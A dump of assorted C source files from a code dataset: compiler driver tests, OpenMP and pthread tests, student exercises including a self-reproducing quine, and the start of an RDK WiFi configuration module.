file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/1167143.c
|
/* { dg-do compile } */
/* { dg-options "-fopenmp" } */
void bar (int);
void
foo ()
{
#pragma omp sections
{
bar (1);
#pragma omp section
{
bar (2);
}
}
#pragma omp sections
{
#pragma omp section
bar (3);
#pragma omp section
{
bar (4);
bar (5);
}
}
#pragma omp sections
{
{
bar (6);
bar (7);
}
#pragma omp section
bar (8);
}
#pragma omp sections
{
#pragma omp section
{
bar (9);
}
#pragma omp section
bar (10);
#pragma omp section
bar (11);
}
#pragma omp sections
{
} /* { dg-error "expression before" } */
#pragma omp sections
{
bar (12);
bar (13); /* { dg-error "pragma omp section" } */
#pragma omp section
bar (14);
}
#pragma omp sections
{
#pragma omp section
} /* { dg-error "expression before" } */
#pragma omp sections
{
bar (15);
#pragma omp section
bar (16);
bar (17); /* { dg-error "pragma omp section" } */
}
#pragma omp sections
{
bar (18);
#pragma omp section
} /* { dg-error "expression before" } */
}
|
the_stack_data/470305.c
|
#include <stdio.h>
#include<math.h>
int main(){
int num, rem, temp;
long octalNumber =0, i=1;
printf("Enter an Positive Integer: \n");
scanf("%d",&num);
temp = num;
while(num != 0){
rem = num % 8;
num /= 8;
octalNumber = octalNumber + (rem * i);
i = i * 10;
}
printf("Ocatal Representation of %d is %o and program gives %ld",temp,temp,octalNumber );
}
|
the_stack_data/1049670.c
|
#include<stdio.h>
#include<stdlib.h>
int findgcd(int x,int y);
int main(int argc, char* argv[]){
if (argc < 3) return 1;
int n1,n2,gcd;
// printf("\nEnter two numbers: ");
// scanf("%d %d",&n1,&n2);
n1 = atoi(argv[1]);//75;
n2 = atoi(argv[2]);//15;
gcd=findgcd(n1,n2);
printf("GCD of %d and %d is: %d\n",n1,n2,gcd);
return 0;
}
int findgcd(int x,int y){
while(x!=y){
if(x>y)
return findgcd(x-y,y);
else
return findgcd(x,y-x);
}
return x;
}
|
the_stack_data/159516346.c
|
#include <errno.h>
#include <stdlib.h>
int main(void)
{
const size_t too_much = 1024ULL * 1024ULL * 1024ULL * 1024ULL; // 1 TiB
void *const ptr = malloc(too_much);
if (ptr != NULL)
{
exit(1);
}
if (errno != ENOMEM)
{
exit(2);
}
return 0;
}
|
the_stack_data/242331444.c
|
//77. Write a C program to find LCM of two numbers.
|
the_stack_data/11723.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strupcase.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: dpadovan <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/04/08 21:24:53 by dpadovan #+# #+# */
/* Updated: 2021/04/10 22:28:54 by dpadovan ### ########.fr */
/* */
/* ************************************************************************** */
char *ft_strupcase(char *str)
{
int count;
count = 0;
while (str[count] != '\0')
{
if ((str[count] >= 97) && (str[count] <= 122))
{
str[count] = str[count] - 32;
}
count++;
}
return (str);
}
|
the_stack_data/97013328.c
|
/*
** my_find_prime_sup.c for my_find_prime_sup in /home/rodrig_1/lib/my
**
** Made by gwendoline rodriguez
** Login <[email protected]>
**
** Started on Tue Nov 18 18:35:00 2014 gwendoline rodriguez
** Last update Sun Mar 8 22:34:45 2015 gwendoline rodriguez
*/
int my_find_prime_sup(int nb)
{
return (nb);
}
|
the_stack_data/119292.c
|
int inc(int x, int y)
{
int soma=0; //soma - varaivel para receber o resultado da função
if(y==0)
return x; // 'x' + 0 = x
if(y < 0)
{
soma = inc(x, y+1); //y < 0 incrementa para poder chegar em 0
return(--soma); //como y é negativo, descrementa o valor
}
else
{
soma = inc(x,y-1); //não é possivel incrementar o valor de funçoes, uma variavel deve receber o valor antes realizar os incrementos
return(++soma); //retorna os incrementos sucessivos da soma
}
}
|
the_stack_data/99827.c
|
#include <stdio.h>
#include <stdlib.h>
struct lol
{
int Linha,Coluna;
int direcao;
};
typedef struct lol Loc;
Loc ll[250000];
int andar(int c, int col,char matriz[][c], int lin, int cont)
{
if (matriz[lin][col+1]=='S')
{
return (cont);
}else if (matriz[lin][col+1]=='.' && matriz[lin][col+1] != 'x' && matriz[lin][col+1] != '#')
{
ll[cont].direcao=1;
matriz[lin][col+1]='R';
matriz[lin][col]='x';
cont++;
ll[cont].Linha=lin;
ll[cont].Coluna=col+1;
andar (c, ll[cont].Coluna ,matriz, ll[cont].Linha, cont);
}else if (matriz[lin+1][col]=='S')
{
return (cont);
}else if (matriz[lin+1][col]=='.' && matriz[lin+1][col] != 'x' && matriz[lin+1][col] != '#')
{
ll[cont].direcao=2;
matriz[lin+1][col]='R';
matriz[lin][col]='x';
cont++;
ll[cont].Linha=lin+1;
ll[cont].Coluna=col;
andar (c, ll[cont].Coluna ,matriz, ll[cont].Linha, cont);
}else if (matriz[lin][col-1]=='S')
{
return (cont);
}else if (matriz[lin][col-1]=='.' && matriz[lin][col-1] != 'x' && matriz[lin][col-1] != '#')
{
ll[cont].direcao=3;
matriz[lin][col-1]='R';
matriz[lin][col]='x';
cont++;
ll[cont].Linha=lin;
ll[cont].Coluna=col-1;
andar (c, ll[cont].Coluna ,matriz, ll[cont].Linha, cont);
}else if (matriz[lin-1][col]=='S')
{
return (cont);
}else if (matriz[lin-1][col]=='.' && matriz[lin-1][col] != 'x' && matriz[lin-1][col] != '#')
{
ll[cont].direcao=4;
matriz[lin-1][col]='R';
matriz[lin][col]='x';
cont++;
ll[cont].Linha=lin-1;
ll[cont].Coluna=col;
andar (c, ll[cont].Coluna ,matriz, ll[cont].Linha, cont);
}else{
matriz[lin][col]='x';
cont--;
matriz[ll[cont].Coluna][ll[cont].Linha]='R';
andar (c, ll[cont].Coluna ,matriz, ll[cont].Linha, cont);
}
}
int main()
{
int l,c,i,f,LocS[2],re;
scanf("%d %d",&l,&c);
char matriz[l][c];
for (i=0;i<c;i++)
{
scanf("%s",&matriz[i]);
}
for (i=0;i<c;i++)
{
for (f=0;f<l;f++)
{
if(matriz[i][f] == 'Z')
{
if(matriz[i+1][f]!='Z')
{
matriz[i+1][f] = '#';
}
if(matriz[i-1][f]!='Z')
{
matriz[i-1][f] = '#';
}
if(matriz[i][f+1]!='Z')
{
matriz[i][f+1] = '#';
}
if(matriz[i][f-1]!='Z')
{
matriz[i][f-1] = '#';
}
}
}
}
for (i=0;i<c;i++)
{
for (f=0;f<l;f++)
{
if(matriz[i][f] == 'R')
{
ll[0].Linha=i;
ll[0].Coluna=f;
}
}
}
for (i=0;i<c;i++)
{
for (f=0;f<l;f++)
{
if(matriz[i][f] == 'S')
{
LocS[0]=i;
LocS[1]=f;
}
}
}
i=0;
re = andar(c ,ll[0].Coluna ,matriz, ll[0].Linha, i);
for(i=0;i<re;i++)
{
if(ll[i].direcao==1)
{
printf("direita\n");
}
else if(ll[i].direcao==2)
{
printf("baixo\n");
}
else if(ll[i].direcao==3)
{
printf("esquerda\n");
}
else if(ll[i].direcao==4)
{
printf("cima\n");
}
return(0);
}
}
|
the_stack_data/36065.c
|
#include <stdio.h>
int func(int *array, int *other) {
return array[7] + other[5];
}
int array (int argc, char **argv) {
int foo[10];
int bar[5];
foo[7]=137;
bar[2]=3;
int x = func(foo, bar);
printf("x=%d", x);
return 0;
}
|
the_stack_data/140765267.c
|
/*
* module 1
* problem 5
* Given **float** values **a** and **b** calculate their sum,
* substraction and multiplication, show the answer as output.
*/
/* imported libraries */
#include <stdio.h>
/* entry point */
int main(int argc, char *argv[])
{
float a, n, suma, resta, multip;
printf("Ingrese el Primer Valor\n");
scanf(" %f", &a);
printf("Ingrese el Segundo Valor\n");
scanf(" %f", &n);
/* eat extra newline */
getchar();
suma = a + n;
resta = a - n;
multip = a * n;
printf("La Suma es = %.2f\nLa Resta es = %.2f\nLa Multiplicacion es = %.2f", suma, resta, multip);
getchar();
return 0;
}
|
the_stack_data/887391.c
|
#define _XOPEN_SOURCE 600
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCKS 2000
int main(int argc, char **argv)
{
pthread_rwlock_t locks[LOCKS];
int n;
int e;
for (n = 0; n < LOCKS; n++) {
if ((e = pthread_rwlock_init(locks + n, NULL)) != 0) {
fprintf(stderr, "pthread_rwlock_init[%d]: %s\n", n, strerror(e));
exit(1);
}
}
for (n = 0; n < LOCKS; n++) {
if ((e = pthread_rwlock_destroy(locks + n)) != 0) {
fprintf(stderr, "pthread_rwlock_destroy[%d]: %s\n", n, strerror(e));
exit(1);
}
}
exit(0);
}
|
the_stack_data/455910.c
|
#include <stdio.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
struct utsname uts;
int n;
if (uname(&uts) == -1) {
perror("uname");
exit(1);
}
n = getopt(argc, argv, "asnrvm");
switch(n) {
case 'a':
printf("OSname : %s\n", uts.sysname);
printf("Nodename : %s\n", uts.nodename);
printf("Release : %s\n", uts.release);
printf("Version : %s\n", uts.version);
printf("Machine : %s\n", uts.machine);
break;
case 's':
printf("OSname : %s\n", uts.sysname);
break;
case 'n':
printf("Nodename : %s\n", uts.nodename);
break;
case 'r':
printf("Release : %s\n", uts.release);
break;
case 'v':
printf("Version : %s\n", uts.version);
break;
case 'm':
printf("Machine : %s\n", uts.machine);
break;
default:
printf("This is not a correct option. Try again!");
break;
}
return 0;
}
|
the_stack_data/4673.c
|
#include <stdio.h>
#include <string.h>
#include <errno.h>
extern int errno;
main() {
int i;
char msg[255];
for (i=0; i<135; i++) {
errno=i;
sprintf(msg,"Error[%d]",i);
perror(msg);
}
}
|
the_stack_data/193894178.c
|
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD %s
// CHECK-LD: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// Check for --eh-frame-hdr being passed with static linking
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -static %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD-STATIC-EH %s
// CHECK-LD-STATIC-EH: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD-STATIC-EH: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bstatic" "-o" "a.out" "{{.*}}rcrt0.o" "{{.*}}crtbegin.o" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -pg -pthread %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-PG %s
// CHECK-PG: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-PG: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}gcrt0.o" "{{.*}}crtbegin.o" "{{.*}}.o" "-lgcc" "-lpthread_p" "-lc_p" "-lgcc" "{{.*}}crtend.o"
// Check CPU type for MIPS64
// RUN: %clang -target mips64-unknown-openbsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-CPU %s
// RUN: %clang -target mips64el-unknown-openbsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64EL-CPU %s
// CHECK-MIPS64-CPU: "-target-cpu" "mips3"
// CHECK-MIPS64EL-CPU: "-target-cpu" "mips3"
// Check that the new linker flags are passed to OpenBSD
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -r %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD-R %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -s %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD-S %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -t %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD-T %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -Z %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LD-Z %s
// RUN: %clang -no-canonical-prefixes -target mips64-unknown-openbsd %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64-LD %s
// RUN: %clang -no-canonical-prefixes -target mips64el-unknown-openbsd %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL-LD %s
// CHECK-LD-R: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD-R: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "-r" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// CHECK-LD-S: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD-S: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "-s" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// CHECK-LD-T: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD-T: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "-t" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// CHECK-LD-Z: clang{{.*}}" "-cc1" "-triple" "i686-pc-openbsd"
// CHECK-LD-Z: ld{{.*}}" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "-Z" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// CHECK-MIPS64-LD: clang{{.*}}" "-cc1" "-triple" "mips64-unknown-openbsd"
// CHECK-MIPS64-LD: ld{{.*}}" "-EB" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// CHECK-MIPS64EL-LD: clang{{.*}}" "-cc1" "-triple" "mips64el-unknown-openbsd"
// CHECK-MIPS64EL-LD: ld{{.*}}" "-EL" "-e" "__start" "--eh-frame-hdr" "-Bdynamic" "-dynamic-linker" "{{.*}}ld.so" "-o" "a.out" "{{.*}}crt0.o" "{{.*}}crtbegin.o" "-L{{.*}}" "{{.*}}.o" "-lgcc" "-lc" "-lgcc" "{{.*}}crtend.o"
// Check passing options to the assembler for various OpenBSD targets
// RUN: %clang -target amd64-pc-openbsd -m32 -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-AMD64-M32 %s
// RUN: %clang -target powerpc-unknown-openbsd -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-POWERPC %s
// RUN: %clang -target sparc-unknown-openbsd -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-SPARC %s
// RUN: %clang -target sparc64-unknown-openbsd -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-SPARC64 %s
// RUN: %clang -target mips64-unknown-openbsd -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64 %s
// RUN: %clang -target mips64-unknown-openbsd -fPIC -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-PIC %s
// RUN: %clang -target mips64el-unknown-openbsd -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64EL %s
// RUN: %clang -target mips64el-unknown-openbsd -fPIC -### -no-integrated-as -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64EL-PIC %s
// CHECK-AMD64-M32: as{{.*}}" "--32"
// CHECK-POWERPC: as{{.*}}" "-mppc" "-many"
// CHECK-SPARC: as{{.*}}" "-32" "-Av8"
// CHECK-SPARC64: as{{.*}}" "-64" "-Av9"
// CHECK-MIPS64: as{{.*}}" "-mabi" "64" "-EB"
// CHECK-MIPS64-PIC: as{{.*}}" "-mabi" "64" "-EB" "-KPIC"
// CHECK-MIPS64EL: as{{.*}}" "-mabi" "64" "-EL"
// CHECK-MIPS64EL-PIC: as{{.*}}" "-mabi" "64" "-EL" "-KPIC"
// Check that the integrated assembler is enabled for MIPS64
// RUN: %clang -target mips64-unknown-openbsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-AS %s
// RUN: %clang -target mips64el-unknown-openbsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-AS %s
// CHECK-MIPS64-AS-NOT: "-no-integrated-as"
// Check linking against correct startup code when (not) using PIE
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-PIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -pie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-PIE-FLAG %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -fno-pie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-PIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -static %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-STATIC-PIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -static -fno-pie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-STATIC-PIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -nopie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-NOPIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -fno-pie -nopie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-NOPIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -static -nopie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-NOPIE %s
// RUN: %clang -no-canonical-prefixes -target i686-pc-openbsd -fno-pie -static -nopie %s -### 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-NOPIE %s
// CHECK-PIE: "{{.*}}crt0.o"
// CHECK-PIE-NOT: "-nopie"
// CHECK-PIE-FLAG: "-pie"
// CHECK-STATIC-PIE: "{{.*}}rcrt0.o"
// CHECK-STATIC-PIE-NOT: "-nopie"
// CHECK-NOPIE: "-nopie" "{{.*}}crt0.o"
// Check ARM float ABI
// RUN: %clang -target arm-unknown-openbsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-ARM-FLOAT-ABI %s
// CHECK-ARM-FLOAT-ABI-NOT: "-target-feature" "+soft-float"
// CHECK-ARM-FLOAT-ABI: "-target-feature" "+soft-float-abi"
|
the_stack_data/72013727.c
|
#include <stdio.h>
#define FT(x)int main(void) { FILE *fs=fopen(NAME, "w"); if (!fs) return (-1); fprintf(fs, CHAR, 10, 34, CHAR, 9); fclose(fs); return (0); }
#define NAME "Grace_kid.c"
#define CHAR "#include <stdio.h>%1$c%1$c#define FT(x)int main(void) { FILE *fs=fopen(NAME, %2$cw%2$c); if (!fs) return (-1); fprintf(fs, CHAR, 10, 34, CHAR, 9); fclose(fs); return (0); }%1$c#define NAME %2$cGrace_kid.c%2$c%1$c#define CHAR %2$c%3$s%2$c%1$c/*%1$c%4$cLet's the hack begin%1$c*/%1$cFT(xxxxxxxx)%1$c"
/*
Let's the hack begin
*/
FT(xxxxxxxx)
|
the_stack_data/165766053.c
|
/************************************************************************************
If not stated otherwise in this file or this component's LICENSE file the
following copyright and licenses apply:
Copyright 2018 RDK Management
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
**************************************************************************/
#if defined (FEATURE_SUPPORT_WEBCONFIG)
#include "cosa_apis.h"
#include "cosa_dbus_api.h"
#include "cosa_wifi_apis.h"
#include "cosa_wifi_internal.h"
#include "ccsp_psm_helper.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/time.h>
#include "wifi_hal.h"
#include <sys/socket.h>
#include <sys/sysinfo.h>
#include <sys/un.h>
#include <assert.h>
#include "ansc_status.h"
#include <sysevent/sysevent.h>
#include <arpa/inet.h>
#include "plugin_main_apis.h"
#include "ctype.h"
#include "ccsp_WifiLog_wrapper.h"
#include "secure_wrapper.h"
#include "collection.h"
#include "msgpack.h"
#include "wifi_webconfig.h"
#include "wifi_validator.h"
#include "cosa_wifi_passpoint.h"
#include "wifi_monitor.h"
#include "safec_lib_common.h"
#define WEBCONF_SSID 0
#define WEBCONF_SECURITY 1
#define SUBDOC_COUNT 3
#define MULTISUBDOC_COUNT 1
#define SSID_DEFAULT_TIMEOUT 90
#define XB6_DEFAULT_TIMEOUT 15
static char *WiFiSsidVersion = "eRT.com.cisco.spvtg.ccsp.Device.WiFi.%s_version";
#ifdef WIFI_HAL_VERSION_3
wifi_vap_info_map_t vap_map_per_radio[MAX_NUM_RADIOS];
static bool SSID_UPDATED[MAX_NUM_RADIOS] = {FALSE};
static bool PASSPHRASE_UPDATED[MAX_NUM_RADIOS] = {FALSE};
static bool gradio_restart[MAX_NUM_RADIOS] = {FALSE};
const char *MFPConfigOptions[3] = {"Disabled", "Optional", "Required"};
#else
static bool SSID1_UPDATED = FALSE;
static bool SSID2_UPDATED = FALSE;
static bool PASSPHRASE1_UPDATED = FALSE;
static bool PASSPHRASE2_UPDATED = FALSE;
static bool gradio_restart[2];
#endif
static bool gHostapd_restart_reqd = FALSE;
static bool gbsstrans_support[WIFI_INDEX_MAX];
static bool gwirelessmgmt_support[WIFI_INDEX_MAX];
/*static int hotspot_vaps[4] = {4,5,8,9};*/
webconf_apply_t apply_params;
extern PCOSA_BACKEND_MANAGER_OBJECT g_pCosaBEManager;
extern ANSC_HANDLE bus_handle;
extern char g_Subsystem[32];
webconf_wifi_t *curr_config = NULL;
extern COSA_DML_WIFI_SSID_CFG sWiFiDmlSsidStoredCfg[WIFI_INDEX_MAX];
extern COSA_DML_WIFI_AP_FULL sWiFiDmlApStoredCfg[WIFI_INDEX_MAX];
extern COSA_DML_WIFI_APSEC_FULL sWiFiDmlApSecurityStored[WIFI_INDEX_MAX];
extern COSA_DML_WIFI_SSID_CFG sWiFiDmlSsidRunningCfg[WIFI_INDEX_MAX];
extern COSA_DML_WIFI_AP_FULL sWiFiDmlApRunningCfg[WIFI_INDEX_MAX];
extern COSA_DML_WIFI_APSEC_FULL sWiFiDmlApSecurityRunning[WIFI_INDEX_MAX];
extern PCOSA_DML_WIFI_AP_MF_CFG sWiFiDmlApMfCfg[WIFI_INDEX_MAX];
extern QUEUE_HEADER *sWiFiDmlApMfQueue[WIFI_INDEX_MAX];
extern BOOL g_newXH5Gpass;
extern void configWifi(BOOLEAN redirect);
#if 0
static char *NotifyWiFi = "eRT.com.cisco.spvtg.ccsp.Device.WiFi.NotifyWiFiChanges" ;
static char *WiFiRestored_AfterMig = "eRT.com.cisco.spvtg.ccsp.Device.WiFi.WiFiRestored_AfterMigration" ;
static char *FR = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.FactoryReset";
#endif
extern char notifyWiFiChangesVal[16] ;
static char *ApIsolationEnable = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.ApIsolationEnable";
static char *BSSTransitionActivated = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.BSSTransitionActivated";
static char *vAPStatsEnable = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.vAPStatsEnable";
static char *NeighborReportActivated = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.X_RDKCENTRAL-COM_NeighborReportActivated";
static char *RapidReconnThreshold = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.RapidReconnThreshold";
static char *RapidReconnCountEnable = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.RapidReconnCountEnable";
static char *BssMaxNumSta = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.BssMaxNumSta";
static char *ApMFPConfig = "eRT.com.cisco.spvtg.ccsp.tr181pa.Device.WiFi.AccessPoint.%d.Security.MFPConfig";
wifi_vap_info_map_t vap_curr_cfg;
wifi_config_t wifi_cfg;
extern char notifyWiFiChangesVal[16] ;
extern UINT g_interworking_RFC;
extern UINT g_passpoint_RFC;
/*----------------------------------------------------------------------------*/
/* Internal functions */
/*----------------------------------------------------------------------------*/
/* Function to convert authentication mode integer to string */
void webconf_auth_mode_to_str(char *auth_mode_str, COSA_DML_WIFI_SECURITY sec_mode)
{
switch(sec_mode)
{
#ifndef _XB6_PRODUCT_REQ_
case COSA_DML_WIFI_SECURITY_WEP_64:
strcpy(auth_mode_str, "WEP-64");
break;
case COSA_DML_WIFI_SECURITY_WEP_128:
strcpy(auth_mode_str, "WEP-128");
break;
case COSA_DML_WIFI_SECURITY_WPA_Personal:
strcpy(auth_mode_str, "WPA-Personal");
break;
case COSA_DML_WIFI_SECURITY_WPA_Enterprise:
strcpy(auth_mode_str, "WPA-Enterprise");
break;
case COSA_DML_WIFI_SECURITY_WPA_WPA2_Personal:
strcpy(auth_mode_str, "WPA-WPA2-Personal");
break;
case COSA_DML_WIFI_SECURITY_WPA_WPA2_Enterprise:
strcpy(auth_mode_str, "WPA-WPA2-Enterprise");
break;
#endif
case COSA_DML_WIFI_SECURITY_WPA2_Personal:
strcpy(auth_mode_str, "WPA2-Personal");
break;
case COSA_DML_WIFI_SECURITY_WPA2_Enterprise:
strcpy(auth_mode_str, "WPA2-Enterprise");
break;
#ifdef WIFI_HAL_VERSION_3
case COSA_DML_WIFI_SECURITY_WPA3_Personal:
strcpy(auth_mode_str, "WPA3-Personal");
break;
case COSA_DML_WIFI_SECURITY_WPA3_Personal_Transition:
strcpy(auth_mode_str, "WPA3-Personal-Transition");
break;
case COSA_DML_WIFI_SECURITY_WPA3_Enterprise:
strcpy(auth_mode_str, "WPA3-Enterprise");
break;
#endif
case COSA_DML_WIFI_SECURITY_None:
default:
strcpy(auth_mode_str, "None");
break;
}
}
/* Function to convert Encryption mode integer to string */
void webconf_enc_mode_to_str(char *enc_mode_str,COSA_DML_WIFI_AP_SEC_ENCRYPTION enc_mode)
{
switch(enc_mode)
{
case COSA_DML_WIFI_AP_SEC_TKIP:
strcpy(enc_mode_str, "TKIP");
break;
case COSA_DML_WIFI_AP_SEC_AES:
strcpy(enc_mode_str, "AES");
break;
case COSA_DML_WIFI_AP_SEC_AES_TKIP:
strcpy(enc_mode_str, "AES+TKIP");
break;
default:
strcpy(enc_mode_str, "None");
break;
}
}
/* Function to convert Authentication mode string to Integer */
void webconf_auth_mode_to_int(char *auth_mode_str, COSA_DML_WIFI_SECURITY * auth_mode)
{
if (strcmp(auth_mode_str, "None") == 0 ) {
*auth_mode = COSA_DML_WIFI_SECURITY_None;
}
#ifndef _XB6_PRODUCT_REQ_
else if (strcmp(auth_mode_str, "WEP-64") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WEP_64;
} else if (strcmp(auth_mode_str, "WEP-128") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WEP_128;
}
else if (strcmp(auth_mode_str, "WPA-Personal") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA_Personal;
} else if (strcmp(auth_mode_str, "WPA2-Personal") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA2_Personal;
} else if (strcmp(auth_mode_str, "WPA-Enterprise") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA_Enterprise;
} else if (strcmp(auth_mode_str, "WPA2-Enterprise") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA2_Enterprise;
} else if (strcmp(auth_mode_str, "WPA-WPA2-Personal") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA_WPA2_Personal;
} else if (strcmp(auth_mode_str, "WPA-WPA2-Enterprise") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA_WPA2_Enterprise;
}
#else
else if ((strcmp(auth_mode_str, "WPA2-Personal") == 0)) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA2_Personal;
}
else if (strcmp(auth_mode_str, "WPA2-Enterprise") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA2_Enterprise;
}
#ifdef WIFI_HAL_VERSION_3
else if (strcmp(auth_mode_str, "WPA3-Enterprise") == 0) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA3_Enterprise;
}
